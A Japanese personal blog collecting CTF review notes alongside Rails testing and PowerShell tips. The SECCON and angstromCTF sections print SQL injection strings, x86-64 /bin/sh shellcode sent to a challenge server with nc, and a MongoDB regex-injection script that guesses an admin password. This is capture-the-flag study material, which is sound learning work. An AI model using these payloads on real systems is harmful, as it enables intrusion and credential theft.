196Log

セキュリティ系の勉強、その他開発メモとか雑談、忘れそうな計算式などを書き溜める場所になっています. githhubはUnity触っていた頃ものがメイン https://github.com/196kakinuma [twitter https://twitter.com/196Ikuchil]

【SECCON for Beginners2019】復習




昨年に引き続き..

今年も参加しました。今年はBornOn21というチームで167/666位という結果でした。正直僕はほぼ貢献できてないです(去年より難しくなってた?)。なのでWriteUpという見出しは使わないで、もう完全に他の方の解き方を見て復習する記事にします。特に自分が解こうとして解けなかった問題をここに残します。

f:id:thinline196:20190526174118p:plain




参考サイト

今回は備忘録なのでこちらの参考サイトさんを見てくださいね。

qiita.com

szarny.hatenablog.com

betit0919.hatenablog.com

furutsuki.hatenablog.com

注意

WriteUpじゃないですからね。







[Reversing] Seccompare

コマンドライン引数とフラグをstrcmpで比較している感じ。radare2で開いたら比べる文字が見えるので、そのまま解けます。 f:id:thinline196:20190526174909p:plain
ctf4b{5tr1ngs_1s_n0t_en0ugh}

[Web] Ramen

店員と一言を検索するフォームがあり、そこにSQLインジェクション脆弱性があるようです。UNION句ではカラムの数を同じにしなければエラーになるんですね。SQLに弱いので勉強になりました。

' UNION SELECT table_name,column_name FROM Information_schema.COLUMNS; #
' UNION SELECT 1, flag FROM flag; #

僕はテーブル名を調べるときにこんな感じでやりましたが、上の方がスマートですね。

a' or '1'='1' UNION ALL (SELECT TABLE_SCHEMA,TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE')  --




[Web] Katsudon

問題文。

Rails 5.2.1で作られたサイトです。

https://katsudon.quals.beginners.seccon.jp

クーポンコードを復号するコードは以下の通りですが、まだ実装されてないようです。

フラグは以下にあります。 https://katsudon.quals.beginners.seccon.jp/flag

# app/controllers/coupon_controller.rb
class CouponController < ApplicationController
def index
end

def show
  serial_code = params[:serial_code]
  @coupon_id = Rails.application.message_verifier(:coupon).verify(serial_code)
  end
end

で、表示されるflagは下になります。 BAhJIiVjdGY0YntLMzNQX1kwVVJfNTNDUjM3X0szWV9CNDUzfQY6BkVU--0def7fcd357f759fe8da819edd081a3a73b6052a
問題文を見た感じ、message_verifierをいじるのかと思いましたが、渡されたフラグの前半部分をbase64でデコードするだけでした。。。

ctf4b{K33P_Y0UR_53CR37_K3Y_B453}
Railsのプロジェクト作って実際に走らせたりと色々迷走しました。


[Crypto] So Tired

初めはbase64の文字列が渡されるのでデコードし、それをfileコマンドで調べるとzlib形式で圧縮されている事がわかるそうです。簡単なデコードは下のコマンドでできます。 base64 -d encrypted.txt > out.txt

import zlib
import base64

data = open("encrypted.txt").read()

while True:
    data = base64.b64decode(data)
    print(data) # どちらで答えが出るかわからない
    data = zlib.decompress(data)
    print(data)




[Misc] containers

foremostで渡されたdataを解析したら、下の画像が出てきました。これ、正しい解法なのでしょうか? f:id:thinline196:20190526181328p:plain

ctf4b{e52df60c058746a66e4ac4f34db6fc81}




[Pwnable] shellcoder

送ったシェルコードをそのまま実行してくれるらしいのですが、binshの文字が入っているものは排除されるらしいです。

\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05 Linux/x86-64 - Execute /bin/sh - 27 bytes

root@kali:~/Downloads/seccon4b2019# echo -en '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05' > shell.bin
root@kali:~/Downloads/seccon4b2019# hexdump -C shell.bin 
00000000  31 c0 48 bb d1 9d 96 91  d0 8c 97 ff 48 f7 db 53  |1.H.........H..S|
00000010  54 5f 99 52 57 54 5e b0  3b 0f 05                 |T_.RWT^.;..|
0000001b
root@kali:~/Downloads/seccon4b2019# 
root@kali:~/Downloads/seccon4b2019# cat shell.bin - | nc 153.120.129.186 20000
Are you shellcoder?
ls
flag.txt
shellcoder
cat flag.txt
ctf4b{Byp4ss_us!ng6_X0R_3nc0de}

ctf4b{Byp4ss_us!ng6_X0R_3nc0de}


[Web] Dump

作者さんの解法 takahoyo.hatenablog.com



最後に

全く歯が立たなかった。。

【RubyOnRails】after_initializeとFactoryBot

ActiveRecordのコールバック

まずは下のサイトさんをご覧ください。

qiita.com

# Hoge.create()の実行順

hoge = Hoge.new(name: "hoge")
#initialize
after_initialize #newメソッドで生成したときのみ
hoge.save!
#BEGIN TRANSACTION
before_validation
#validation
after_validation
#ROLLBACK
after_rollback   #validationに失敗した時のみ
before_save
around_save
before_create
around_create
#INSERT INTO "hoges"
after_create
after_save
# COMMIT
after_commit
# 引用元:https://qiita.com/rtoya/items/29cef3e328299781a328

(引用元ではafter_initializenewの時のみとありますが、インスタンスが生成されるたびに呼ばれるので、Hoge.createHoge.first等を使用した場合も呼ばれるはずです。)

で今回after_initializeで呼ばれるメソッドをテストしたかったというお話です。

そもそも

上に書いたように、newで呼ぶ以外にもafter_initializeを走らせる方法はたくさんあるので、基本的にモデルのコールバックテストをするのには困らないはずです。

ですが、私はFactoryBot.new(:hoge)を呼ぶと同時にafter_initializeを見ようとしたためハマりました。

FactoryBot.create(:hoge)と、Hoge.create()

てっきり同じように呼ばれるのかと思いきや、若干違うようです。
createの引数に初期値を渡してインスタンスを生成する場合、FactoryBotの方はafter_initialize時に初期値がまだ反映されません。

つまり..

本家のHoge.create(name: "hoge")

#initialize
after_initialize # すでにself.name に"hoge"が入っている
hoge.save!
#BEGIN TRANSACTION
before_validation
#validation
after_validation


FactoryBot.create(:hoge,name:"hoge")

#initialize
after_initialize # まだselfは全てnil
hoge.save!
#BEGIN TRANSACTION
before_validation # self.nameに"hoge"が入っている。
#validation
after_validation

という感じになります。

余談

factorybotの値を使うのであれば、

Hoge.create(FactoryBot.attributes_for(:hoge))

とかどうでしょう?

よく理解できていないので、何かあれば教えてください。

【RSpec】ActionMailer deliver_now が呼ばれる事をテストする

やりたかった事

HogeMailerがあり、HogeDeliveryインスタンスメソッド(send_email)内でHogeMailerを使ってメールを飛ばしていました。

私は今HogeDeliveryのモデルテストを書いていたのでsend_emailのテストを書こうとしました。しかし、ActionMailer::Base.deliveries.count等は使えません(なぜかは知らないので聞かないで) ので、実際にメールが送信できたのか別手段でテストしようと思ったのが始まり。

前提

class HogeMalier < ActionMailer::Base
  def send_hoge
    mail(to: params[:to], template: params[:template],......)
  end
end


class HogeDelivery < ActiveRecord::Base
  def send_email
    # 色々処理する
    # Userクラスからuserを引っ張ったり
    ...
    HogeMailer.with(toとかsubjectとか).send_hoge.deliver_now # ここがdeliver_laterの場合もある
  end
end

deliver_laterの場合

deliver_laterActiveJobを利用して、非同期的にメールを送信します。have_enqueued_jobでメール送信ジョブが登録されたことを確認できます。同時にenqueued_jobsからはその情報を取得することができるので、中身をテストしたい場合はこちらを使います。

describe 'HogeDelivery', type: :model do
  subject{send_mail}(hoge_delivery.send_email) # 引数に送信先の情報を渡す実装ならここ変更
  let!(:hoge_delivery){create(:hoge_delivery)}
  let!(:user){create(:user)}

  it 'enqueue a job' do
    expect { send_mail }.to have_enqueued_job.on_queue("mailers") # ジョブが登録される
  end
  it 'use user name for "to" value' do
    send_mail
    expect(enqueued_jobs[0][:args][3]["to"]).to eq user.name # ジョブから値を引っ張ってくる
  end
end

deliver_nowの場合

deliver_nowActiveJobを使用せずに同期的に送信するため、上の方法では送信できているのか確認できません。

しかし、よくよく考えるとこのHogeDeliveryモデルテストで担保すべきは、deliver_nowがしっかり呼ばれることです。deliver_nowはあくまでHogeMailerの責務として考えた場合、スタブを利用してメソッドが呼ばれることのみをテストすれば良さそうです。

describe 'HogeDelivery', type: :model do
  subject{send_mail}(hoge_delivery.send_email) # 引数に送信先の情報を渡す実装ならここ変更
  let!(:hoge_delivery){create(:hoge_delivery)}
  let!(:user){create(:user)}

  it "call #deliver_later" do
    message_delivery = instance_double(ActionMailer::MessageDelivery)
    allow(HogeMailer).to receive_message_chain(:with, :send_hoge).
                           with(to: to, subject: ..とか色々).with(no_args).
                           and_return(message_delivery)

    expect(message_delivery).to receive(:deliver_later
    send_mail
  end
end

しかし、send_email内ではUserクラスから情報を引き出してきたりと、テストすべき部分はあります。そのため、deliver_laterを使っているのであれば、上のような期待した値が格納されているかテストするのも、大事かと思います。

余談

スタブは、メソッドを実行させずに欲しい値を取得するもの、モックは指定のメソッドが実行されたかどうかをチェックするためな感じだそうです。 スタブはallow、モックはexpect。まぁ詳しくは参考サイトを見てみてください。

参考サイト

tonirib.github.io

qiita.com

techracho.bpsinc.jp

【PowerShell】コマンドで壁紙を変更する

まずググる

いろんな情報が出てきますね。ただ、Windows10に対して有効な手段が見つけにくかったので、ここに残しておきます。

有効であったもの

$setwallpapersource = @"
using System.Runtime.InteropServices;
public class wallpaper
{
public const int SetDesktopWallpaper = 20;
public const int UpdateIniFile = 0x01;
public const int SendWinIniChange = 0x02;
[DllImport("user32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern int SystemParametersInfo (int uAction, int uParam, string lpvParam, int fuWinIni);
public static void SetWallpaper ( string path )
{
SystemParametersInfo( SetDesktopWallpaper, 0, path, UpdateIniFile | SendWinIniChange );
}
}
"@

Add-Type -TypeDefinition $setwallpapersource
[wallpaper]::SetWallpaper("画像があるパス")



上のコマンドを管理者の権限で実行してください。psファイルで一度に実行したい場合はpowershellスクリプトが読めるようにしてから行ってください。

注意としては、最後の画像があるパスはユーザのフォルダ以下になるとなぜか反映されません。なので、例えばC直下とか、C:¥Users¥内であれば読み込まれました。


微妙だったもの

reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d  wallpaper_path /f
RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters

一応変更は確認できましたが、2行目の変更を反映させるコマンドが不安定で、何十回も押す必要がありました。確実性がなかったので、今回は使いませんでした。


余談

例えば、webサイトから画像を引っ張ってきてそれを壁紙にする場合下の流れになります。

$setwallpapersource = @"
using System.Runtime.InteropServices;
public class wallpaper
{
public const int SetDesktopWallpaper = 20;
public const int UpdateIniFile = 0x01;
public const int SendWinIniChange = 0x02;
[DllImport("user32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern int SystemParametersInfo (int uAction, int uParam, string lpvParam, int fuWinIni);
public static void SetWallpaper ( string path )
{
SystemParametersInfo( SetDesktopWallpaper, 0, path, UpdateIniFile | SendWinIniChange );
}
}
"@

Add-Type -TypeDefinition $setwallpapersource


[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
Invoke-WebRequest -Uri 画像の直リンなど -OutFile C:¥Users¥.w.jpg
Start-Sleep -s 10 #ダウンロードが終わるのを念の為まつ
[wallpaper]::SetWallpaper("C:¥Users¥.w.jpg")

【備忘録】angstromctf 復習

まえおき

これはWriteUpではないです。他のサイトさんの回答を見て解けなかった問題を自分用に残しておくためのものなので、WriteUpが見たい方はぜひ参考サイトさんの方を見てください!

参考サイト(強く推奨)

yoshiking.hatenablog.jp

dark-lambda.com

kusuwada.hatenablog.com

samcalamos.com.au



Scratch It Out

問題文は" An oddly yellow cat handed me this message - what could it mean?"。渡されるファイルは下のJSON

{"targets":[{"isStage":true,"name":"Stage","variables":{"`jEk@4|i[#Fk?(8x)AV.-my variable":["my variable",75]},"lists":{"DDcejh^KamcM{M3I4TYi":["flag",[]]},"broadcasts":{},"blocks":{},"comments":{},"currentCostume":0,"costumes":[{"assetId":"cd21514d0531fdffb22204e0ec5ed84a","name":"backdrop1","md5ext":"cd21514d0531fdffb22204e0ec5ed84a.svg","dataFormat":"svg","rotationCenterX":240,"rotationCenterY":180}],"sounds":[{"assetId":"83a9787d4cb6f3b7632b4ddfebf74367","name":"pop","dataFormat":"wav","format":"","rate":44100,"sampleCount":1032,"md5ext":"83a9787d4cb6f3b7632b4ddfebf74367.wav"}],"volume":100,"layerOrder":0,"tempo":60,"videoTransparency":50,"videoState":"on","textToSpeechLanguage":"en"},{"isStage":false,"name":"Sprite1","variables":{},"lists":{},"broadcasts":{},"blocks":{"gc(F@lT71/)bC%C*u42A":{"opcode":"event_whenflagclicked","next":"~aF,dkw=4%[4h3nmvnRH","parent":null,"inputs":{},"fields":{},"shadow":false,"topLevel":true,"x":-287,"y":-298},"~aF,dkw=4%[4h3nmvnRH":{"opcode":"data_setvariableto","next":"[P%q`Sd5o|}gXimPK}vy","parent":"gc(F@lT71/)bC%C*u42A","inputs":{"VALUE":[1,[10,"0"]]},"fields":{"VARIABLE":["my variable","`jEk@4|i[#Fk?(8x)AV.-my variable"]},"shadow":false,"topLevel":false},"[P%q`Sd5o|}gXimPK}vy":{"opcode":"data_deletealloflist","next":"twa0+.)q|d5h?49P7-Mz","parent":"~aF,dkw=4%[4h3nmvnRH","inputs":{},"fields":{"LIST":["flag","DDcejh^KamcM{M3I4TYi"]},"shadow":false,"topLevel":false},"twa0+.)q|d5h?49P7-Mz":{"opcode":"motion_gotoxy","next":"@1CP6EFQh9zU~Qv.L9ke","parent":"[P%q`Sd5o|}gXimPK}vy","inputs":{"X":[1,[4,"3"]],"Y":[1,[4,"25"]]},"fields":{},"shadow":false,"topLevel":false},"@1CP6EFQh9zU~Qv.L9ke":{"opcode":"control_repeat","next":"?ozn?6PSe,|gl[0:CFVq","parent":"twa0+.)q|d5h?49P7-Mz","inputs":{"TIMES":[3,",~-dSb{iI]d0J$_09B]D",[6,"25"]],"SUBSTACK":[2,"1k:%;:yF^JgRY|NRdT87"]},"fields":{},"shadow":false,"topLevel":false},",~-dSb{iI]d0J$_09B]D":{"opcode":"motion_yposition","next":null,"parent":"@1CP6EFQh9zU~Qv.L9ke","inputs":{},"fields":{},"shadow":false,"topLevel":false},"1k:%;:yF^JgRY|NRdT87":{"opcode":"data_changevariableby","next":"e*Py.Mc-k?D}w0}je37_","parent":"@1CP6EFQh9zU~Qv.L9ke","inputs":{"VALUE":[3,"L,+hwe69wtmUle}htHOm",[4,"3"]]},"fields":{"VARIABLE":["my variable","`jEk@4|i[#Fk?(8x)AV.-my variable"]},"shadow":false,"topLevel":false},"L,+hwe69wtmUle}htHOm":{"opcode":"motion_xposition","next":null,"parent":"1k:%;:yF^JgRY|NRdT87","inputs":{},"fields":{},"shadow":false,"topLevel":false},"e*Py.Mc-k?D}w0}je37_":{"opcode":"data_addtolist","next":null,"parent":"1k:%;:yF^JgRY|NRdT87","inputs":{"ITEM":[3,"*}!hp4?Y2Jb/*u1XSaFe",[10,"thing"]]},"fields":{"LIST":["flag","DDcejh^KamcM{M3I4TYi"]},"shadow":false,"topLevel":false},"*}!hp4?Y2Jb/*u1XSaFe":{"opcode":"operator_letter_of","next":null,"parent":"e*Py.Mc-k?D}w0}je37_","inputs":{"LETTER":[3,"etC#5:KlQ~?l[7~:KQr3",[6,"1"]],"STRING":[1,[10,"_La0AcpNtTgf1U{maTaGhL35_"]]},"fields":{},"shadow":false,"topLevel":false},"etC#5:KlQ~?l[7~:KQr3":{"opcode":"operator_mod","next":null,"parent":"*}!hp4?Y2Jb/*u1XSaFe","inputs":{"NUM1":[3,[12,"my variable","`jEk@4|i[#Fk?(8x)AV.-my variable"],[4,""]],"NUM2":[1,[4,"26"]]},"fields":{},"shadow":false,"topLevel":false},"?ozn?6PSe,|gl[0:CFVq":{"opcode":"data_addtolist","next":"9zMs,[qP=FC3I~)M4;0#","parent":"@1CP6EFQh9zU~Qv.L9ke","inputs":{"ITEM":[1,[10,"}"]]},"fields":{"LIST":["flag","DDcejh^KamcM{M3I4TYi"]},"shadow":false,"topLevel":false},"9zMs,[qP=FC3I~)M4;0#":{"opcode":"control_repeat","next":"tT=b/vs94pwY2_3cWKa#","parent":"?ozn?6PSe,|gl[0:CFVq","inputs":{"TIMES":[1,[6,"10"]],"SUBSTACK":[2,"P+NP2l=R(L$YXA_;R%7]"]},"fields":{},"shadow":false,"topLevel":false},"P+NP2l=R(L$YXA_;R%7]":{"opcode":"motion_turnright","next":"oMnQcqYaNL`X78JGOQ*V","parent":"9zMs,[qP=FC3I~)M4;0#","inputs":{"DEGREES":[1,[4,"15"]]},"fields":{},"shadow":false,"topLevel":false},"oMnQcqYaNL`X78JGOQ*V":{"opcode":"music_playDrumForBeats","next":null,"parent":"P+NP2l=R(L$YXA_;R%7]","inputs":{"DRUM":[3,"Dd1L6Dl@*o}%BVeJP5M:","iA0j60]}2sQRG{ixEOY="],"BEATS":[1,[4,"0.25"]]},"fields":{},"shadow":false,"topLevel":false},"Dd1L6Dl@*o}%BVeJP5M:":{"opcode":"operator_random","next":null,"parent":"oMnQcqYaNL`X78JGOQ*V","inputs":{"FROM":[1,[4,"1"]],"TO":[1,[4,"20"]]},"fields":{},"shadow":false,"topLevel":false},"iA0j60]}2sQRG{ixEOY=":{"opcode":"music_menu_DRUM","next":null,"parent":"oMnQcqYaNL`X78JGOQ*V","inputs":{},"fields":{"DRUM":["1",null]},"shadow":true,"topLevel":false},"tT=b/vs94pwY2_3cWKa#":{"opcode":"looks_say","next":"kaF2HGvYv,t,tiUvnR74","parent":"9zMs,[qP=FC3I~)M4;0#","inputs":{"MESSAGE":[3,[13,"flag","DDcejh^KamcM{M3I4TYi"],[10,"Hello!"]]},"fields":{},"shadow":false,"topLevel":false},"kaF2HGvYv,t,tiUvnR74":{"opcode":"data_deletealloflist","next":null,"parent":"tT=b/vs94pwY2_3cWKa#","inputs":{},"fields":{"LIST":["flag","DDcejh^KamcM{M3I4TYi"]},"shadow":false,"topLevel":false}},"comments":{},"currentCostume":0,"costumes":[{"assetId":"b7853f557e4426412e64bb3da6531a99","name":"costume1","bitmapResolution":1,"md5ext":"b7853f557e4426412e64bb3da6531a99.svg","dataFormat":"svg","rotationCenterX":48,"rotationCenterY":50},{"assetId":"e6ddc55a6ddd9cc9d84fe0b4c21e016f","name":"costume2","bitmapResolution":1,"md5ext":"e6ddc55a6ddd9cc9d84fe0b4c21e016f.svg","dataFormat":"svg","rotationCenterX":46,"rotationCenterY":53}],"sounds":[{"assetId":"83c36d806dc92327b9e7049a565c6bff","name":"Meow","dataFormat":"wav","format":"","rate":44100,"sampleCount":37376,"md5ext":"83c36d806dc92327b9e7049a565c6bff.wav"}],"volume":100,"layerOrder":1,"visible":true,"x":3,"y":25,"size":100,"direction":150,"draggable":false,"rotationStyle":"all around"}],"monitors":[{"id":"DDcejh^KamcM{M3I4TYi","mode":"list","opcode":"data_listcontents","params":{"LIST":"flag"},"spriteName":null,"value":[],"width":191,"height":348,"x":5,"y":5,"visible":false},{"id":"current_year","mode":"default","opcode":"sensing_current","params":{"CURRENTMENU":"YEAR"},"spriteName":null,"value":2019,"width":0,"height":0,"x":5,"y":5,"visible":false,"sliderMin":0,"sliderMax":100,"isDiscrete":true},{"id":"current_second","mode":"default","opcode":"sensing_current","params":{"CURRENTMENU":"SECOND"},"spriteName":null,"value":28,"width":0,"height":0,"x":5,"y":5,"visible":false,"sliderMin":0,"sliderMax":100,"isDiscrete":true},{"id":"current_dayofweek","mode":"default","opcode":"sensing_current","params":{"CURRENTMENU":"DAYOFWEEK"},"spriteName":null,"value":1,"width":0,"height":0,"x":5,"y":5,"visible":false,"sliderMin":0,"sliderMax":100,"isDiscrete":true},{"id":"current_minute","mode":"default","opcode":"sensing_current","params":{"CURRENTMENU":"MINUTE"},"spriteName":null,"value":46,"width":0,"height":0,"x":5,"y":5,"visible":false,"sliderMin":0,"sliderMax":100,"isDiscrete":true},{"id":"translate_getViewerLanguage","mode":"default","opcode":"translate_getViewerLanguage","params":{},"spriteName":null,"value":"English","width":0,"height":0,"x":5,"y":5,"visible":false,"sliderMin":0,"sliderMax":100,"isDiscrete":true},{"id":"b3x1PAhQzb_;0cK/.q1:_volume","mode":"default","opcode":"sound_volume","params":{},"spriteName":"Sprite1","value":100,"width":0,"height":0,"x":5,"y":5,"visible":false,"sliderMin":0,"sliderMax":100,"isDiscrete":true}],"extensions":["music"],"meta":{"semver":"3.0.0","vm":"0.2.0-prerelease.20190321151527","agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1 Safari/605.1.15"}}

どうやらScratchという子供向けのブログラミング言語のプロジェクトファイルっぽいものだそうです。拡張子を.sb3に変更し、このページで読み込むと、プロジェクトが読み込まれました。
f:id:thinline196:20190501161121p:plain

No Sequels 2

No Sequelsという問題の続きで、adminでログインはできましたが、パスワードを入れてねと言われるので、パスワードを調べようという問題。下のコードが渡されます。

router.post('/site', verifyJwt, function (req, res) {
    // req.user is assigned from verifyJwt
    if (!req.user.authenticated || !req.body.pass2) {
        res.send("bad");
    }
 
    var query = {
        username: req.user.name,
    }
 
    var db = req.db;
    db.collection('users').findOne(query, function (err, user) {
        console.log(user);
        if (!user){
            res.render('access', {username:' \''+req.user.name+'\' ', message:"Only user 'admin' can log in with this form!"});
        }
        var pass = user.password;
        var message = "";
        if (pass === req.body.pass2){
            res.render('final');
        } else {
            res.render('access', {username:' \''+req.user.name+'\' ', message:"Wrong LOL!"});
        }
 
    });
 
});

対象はMongoDB

{
username: "admin",
passsword: {"$regex": "^<testing pw goes here>"}
}

を使って1文字ずつパスワードを見つけていく手法。$regexLIKE検索のように使えるらしいです。

# こちらより引用してます。https://samcalamos.com.au/2019/04/25/angstrom-2019-no-sequels-2-writeup/
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="admin"
password=""
url = "https://nosequels.2019.chall.actf.co/login"

cookies = {
"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRoZW50aWNhdGVkIjpmYWxzZSwiaWF0IjoxNTU1NzI4MjkyfQ.DRgByuPZJc-Ayvmdec5ot2CbjbCe6Bf7ucvI93gc1Wc"
}

while True:
    for c in string.printable:
        if c not in ['*','+','.','?','|']:
            print("Testing %s" % password+c)
            payload={
                "username": "admin", 
                "password": {
                    "$regex": "^"+password+c 
                    }
                }

            r = requests.post(url, json = payload, verify = False, cookies=cookies)
            print(r.text)
            if "bad" in r.text:
                print("Found one more char : %s" % (password+c))
                password += c
                break



Runes

下のテキストが渡されます。暗号系ですね。苦手です。ヒントとしてPaillierが与えられますが、これはPaillier暗号らしいです。

n: 99157116611790833573985267443453374677300242114595736901854871276546481648883
g: 99157116611790833573985267443453374677300242114595736901854871276546481648884
c: 2433283484328067719826123652791700922735828879195114568755579061061723786565164234075183183699826399799223318790711772573290060335232568738641793425546869


msieveを使って素因数分解しp,qを導きだします。

$ ./msieve -q -v -e 99157116611790833573985267443453374677300242114595736901854871276546481648883

スクリプトこちらから引用しています。

# こちらのものを引用しています https://kusuwada.hatenablog.com/entry/2019/04/25/155547
#!/usr/bin/env python3
# this code has the following in reference.
#   https://ykm11.hatenablog.com/entry/2018/10/19/205950

import math

n = 99157116611790833573985267443453374677300242114595736901854871276546481648883
g = 99157116611790833573985267443453374677300242114595736901854871276546481648884
c = 2433283484328067719826123652791700922735828879195114568755579061061723786565164234075183183699826399799223318790711772573290060335232568738641793425546869
p = 310013024566643256138761337388255591613
q = 319848228152346890121384041219876391791

def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g1, y, x = egcd(b % a, a)
        return (g1, x - (b // a) * y, y)

def modinv(a, m):
    g1, x, y = egcd(a, m)
    if g1 != 1:
        raise Exception('modular inverse does not exist')
    else:
        return x % m

def L(u):
    return (u-1)//n

def LMD(p, q): # p and q are respectively prime
    g = math.gcd(p-1, q-1)
    return (p-1)*(q-1)//g

def dec(c):
    s = L(pow(c, LMD(p, q), n**2))
    t = L(pow(g, LMD(p, q), n**2))
    return s * modinv(t, n) % n

# main
assert p*q == n
plain = dec(c)
flag = bytes.fromhex(hex(plain)[2:]).decode('ascii')
print('flag: ' + flag)



最後に

WriteUpじゃないし他の方のソースもらったりしているので、他のページを見てください、、

【備忘録】SECCON 令和CTF

まえおき

これはWriteUpではないです。他の方の解法をみて自分用に備忘録として残しているだけなので、ぜひ参考サイトさんの方を見に行ってください。


参考サイト(強く推奨)

yuta1024.hateblo.jp

kusuwada.hatenablog.com



元号発表

pdfファイルがもらえるので、開いてみると例の発表のパロディ。QRコードの部分が通訳の方の画像で隠れているので、自分はforemostで分解しました。が、これがミステイク。切り抜かれている部分の画像が抽出できませんでした。
最初はアプリの誤り訂正の精度の問題とか思って、例の公式QRコードアプリを入れてしまいました。(血迷った)

f:id:thinline196:20190501124258p:plain

結局はLibreOfficeで開くと画像の裏に残りの部分があるよって落ちでした。

f:id:thinline196:20190501124010p:plainf:id:thinline196:20190501124102p:plain


SECCON{overlay_overlap_overera}

別解

pdfimagesコマンドを使うと、pdfに使用されている画像を抽出することができるらしいので、その画像をxorするという解法もありました。

f:id:thinline196:20190501125543p:plain

ちょっと手間がかかるかもしれませんが、なんかこちらの方が正攻法な気もします。

reiwaVote

exeで降ってきた問題。ちょうど手元にwin機なかったの。wineもうまく起動しなかったので(単純に設定ミスだと思う)後日実機で動かした。ユーザ登録画面があるので、名前を'で登録しログイン。すると画面にパスワードのハッシュか何かが出てくる。次に' OR 1=1で登録ログイン。すると' AND PASS='がエラーで得られたので、' OR 1=1 --で登録ログインすると、rootっぽいアカウントでログインができました。これで令和に投票することで、元号が令和になりフラグがもらえます。

f:id:thinline196:20190501135237p:plain


零は?

後日サーバーが閉じてしまったので、自分でフルスクラッチできず。他人のコードを眺めるだけになります。上の参考リンク先から見てください。多分時間かければ解けたんだろうけど、前作っておいた土台のコードを消してしまい、1から作るのがめんどくさくなって断念。次回までには作り直しておこう。。z3を使うと数式をいじらないくていいから楽とのツイートを見たので、メモしておきます。


bREInWAck

令和和和和和和和和和和和和和和和和「令和
和和和和令和和和和令和和和和和和和令和和
和和和和令和和平平平平平成」令和和和。令
和和和和和。成成。。平成成成成。成。令令
和和和和和和和和和和和。令和和。平平平和
和和和。令和和。和和和和。令令和和和和和
和和和和和和和。平平平和和和和和和和和和
和和和和。成成成成成成成成。令成成成成成
成成成。令令。成成成成成。成成成成成成。
令和。平平和和。令令令和和和和和和和和和
和。

wikiのリンクが貼ってありました。他の方はだいたい、文字を置き換えて解いていたっぽいです。

  • 出力的にラストだし.
  • []
  • は開幕に現れているから>
  • はそのあとに連続しているから+
  • この流れで<-

今はちゃんと理解できないですが、あとでちゃんと勉強するので書き置きとして他者さんの解き方をメモとして残しておきます。頑張れ自分。



最後に

WriteUpじゃないですよ。

BadUSB Digispark 日本語キーボード対応

本題

今巷で流行っている「ハッキングラボのそだてかた~ミジンコでもわかるBadUSB~」ですが、読んでわかるようにキーストロークを再現する事によりその手法を成り立たせています。そして、そのライブラリ?はUSキーボードを基準としているため、配列の違う日本語キーボードを使用しているPCに対しては意図したキーの入力に失敗することがあります。(主に記号系)

書籍内では、3種類のBadUSBを紹介しておりそのうち、reonardoでは完全な対応作が紹介されています。しかし私が購入したDigisparkでの日本語キーボード対応についてはQiita記事へのリンクのみでした。(ここ)

このリンクの内容に従って、とりあえず即席で日本語キーボードに対応したものを作ったので、共有しておこうと思います。理屈や原理については、Qiitaさんの記事で確認お願いします。

書籍の購入はこちらで

ソース

DigiKeyboard.hscan-ascii-table.hを自分のものと書き換えてください。元ファイルの保存場所がわからない場合は、[ファイル]>[スケッチ例]>[DigisparkKeyboard]からサンプルをロードした後に、[スケッチ]>[スケッチのフォルダを表示]を開くと、近くまで飛べるので参考にしてください。3つ目のコードは実際に出力ができないキーの出力テストです。(Windowsでは起動しました。)


最後に

最近捕まるだのなんだののお話があるので断っておきますが、決して攻撃を助長するような記事ではありませんので、逮捕はやめてくださいね。それと私も攻撃はよくないと考えているので、勉強の範囲でお願いします。